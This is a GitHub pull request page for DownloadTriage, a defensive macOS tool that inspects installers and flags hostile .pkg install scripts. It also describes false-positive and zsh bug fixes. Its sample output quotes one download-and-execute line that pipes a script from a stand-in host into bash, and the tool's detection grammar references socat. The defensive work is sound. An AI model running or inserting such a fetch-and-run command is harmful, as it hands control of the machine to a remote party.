Skip to content

feat: DownloadTriage — inspect installers before you double-click them - #3

Merged
DareDev256 merged 1 commit into
mainfrom
feat/downloadtriage
Jul 29, 2026
Merged

DareDev256 merged 1 commit into
mainfrom
feat/downloadtriage

Conversation

@DareDev256

Copy link
Copy Markdown
Owner

ShellGuard guards the shell prompt. That is one execution path, and macOS has many. A double-clicked .command, a .pkg preinstall running as root, an .app inside a DMG, a .scpt in Script Editor — none of them touch a zsh prompt, so none could ever be caught at accept-line. The kit had no coverage of the deliver stage at all.

Human

./downloadtriage/downloadtriage.zsh --days 90    # your real Downloads folder
bash tests/test-downloadtriage.sh                # 12/12

What it looks like on a hostile installer:

[!] Hostile-Installer.pkg
    quarantine ABSENT   gatekeeper REJECTED   signer unsigned
    • Its install script matches a download-and-execute pattern — and .pkg
      scripts run as ROOT.
    --- install script ---
    postinstall:block
      REASONS:Downloads code from the internet and pipes it straight into bash
      --- script contents ---
      #!/bin/bash
      curl -fsSL https://evil.test/stage2.sh | bash

Agent

Why .pkg is the case that matters. A package's preinstall/postinstall runs as root, and the user is conditioned to type an admin password into Installer.app — that is what every legitimate install looks like. GuestMode's "a phished password can't escalate" framing does not cover this, because the escalation is the installer's documented behaviour, not an exploit. So the tool expands the package and runs its install scripts through the same grammar that guards the shell prompt. If it would be blocked at your terminal, it is flagged in the installer too, and the script is shown to you.

pkgutil --expand-full unpacks; it never executes. There is a test asserting exactly that, with a fixture whose postinstall would create a marker file — the marker never appears.

A false positive I only found by running it for real. Against a genuine 237-item Downloads folder, an early build reported the official Signal installer as "REJECTED — unsigned." spctl -a with no type argument assumes an executable, so it returns "no usable signature" for legitimate .dmg and .zip files. A security tool that tells you Signal is unsigned is worse than no tool.

Gatekeeper verdicts are now rendered only where Gatekeeper actually judges: .app, .pkg (with -t install), and Mach-O binaries. For a .dmg it says plainly that the signature lives on the app inside and was not checked, and offers --mount. Archives are never assessed; shell scripts are read through the grammar instead. Real-folder flag count went 15 → 3.

A bug in the shared grammar, found the same way. local re-declared inside a loop makes zsh echo name=value to stdout. clickfix_check did this in three places, so d=socat leaked into the output of anything sourcing the grammar. Invisible in ShellGuard (writes to /dev/tty) and in the corpus runner (reads only the verdict) — it took a consumer that prints to stdout to surface it. All loop-scoped locals hoisted.

Scope decision. Ships as a standalone tool rather than an ExposureScan flag. --tcc went in as a flag because it answers ExposureScan's question ("what would a stealer take from me"). This answers a different one ("is this file hostile") with a different invariant. Kit goes to seven tools; README, installer menu and kill-chain table updated.

Honest prior art. Objective-See's WhatsYourSign is the better everyday "who signed this?" tool and is linked in the README. spctl/codesign/xattr ship with macOS and are what this shells out to. The additive sliver is narrow and stated as such: connecting .pkg install scripts to the ClickFix grammar.

Deliberately not done: DMGs are not mounted without --mount, because mounting is itself a delivery step in current campaigns.

Tests: 12/12 downloadtriage · 78/78 corpus · 10/10 baseline · 72 ExposureScan · 4/4 pty.

🤖 Generated with Claude Code

https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur

ShellGuard guards the shell prompt. That is ONE execution path. A double-clicked
.command, a .pkg preinstall running as root, an .app inside a DMG, a .scpt in
Script Editor — none of them touch a zsh prompt, so none could ever be caught at
accept-line. The kit had no coverage of the deliver stage at all.

THE .pkg CASE IS THE POINT
A package's preinstall/postinstall runs as ROOT, and the user is conditioned to
type an admin password into Installer.app because that is what every legitimate
install looks like. GuestMode's "a phished password can't escalate" framing does
not cover it: the escalation is the installer's documented behaviour, not an
exploit. So the tool expands the package and runs its install scripts through
the SAME grammar that guards the shell prompt — if it would be blocked at your
terminal, it is flagged in the installer, and the script is shown to you.

pkgutil --expand-full unpacks; it does not execute. tests/test-downloadtriage.sh
asserts that with a fixture whose postinstall would create a marker file: the
marker never appears.

FALSE POSITIVES FOUND BY RUNNING IT FOR REAL
Running it against a genuine 237-item Downloads folder caught a bad one in my
own tool: it reported the OFFICIAL SIGNAL INSTALLER as "REJECTED — unsigned".
`spctl -a` with no type argument assumes an executable, so it returns "no usable
signature" for legitimate .dmg and .zip files. A security tool that tells you
Signal is unsigned is worse than no tool.

Gatekeeper verdicts are now rendered only where Gatekeeper actually judges:
.app, .pkg (with -t install), and Mach-O binaries. For a .dmg the tool says
plainly that the signature lives on the app inside and was not checked, and
offers --mount. Archives and shell scripts are never assessed — scripts are READ
through the grammar instead. Real-folder flag count: 15 -> 3.

SHARED GRAMMAR BUG
`local` re-declared inside a loop makes zsh echo "name=value" to stdout.
clickfix_check did this in three places, so `d=socat` leaked into the output of
anything sourcing the grammar. Invisible in ShellGuard (writes to /dev/tty) and
in the corpus runner (reads only the verdict), but it corrupted DownloadTriage's
report. All loop-scoped locals hoisted to a single declaration.

DMGs are not mounted without --mount; mounting is itself a delivery step in
current campaigns.

Kit goes to seven tools. README, install.sh menu and the kill-chain table
updated. New macOS CI job. Honest prior art: Objective-See's WhatsYourSign is
the better everyday "who signed this?" tool and is linked; the additive sliver
is connecting .pkg install scripts to the ClickFix grammar.

Tests: 12/12 downloadtriage · 78/78 corpus · 10/10 baseline · 72 exposurescan ·
4/4 pty integration.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur
@DareDev256
DareDev256 merged commit f4ad2b1 into main Jul 29, 2026
7 checks passed
@DareDev256
DareDev256 deleted the feat/downloadtriage branch July 29, 2026 04:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant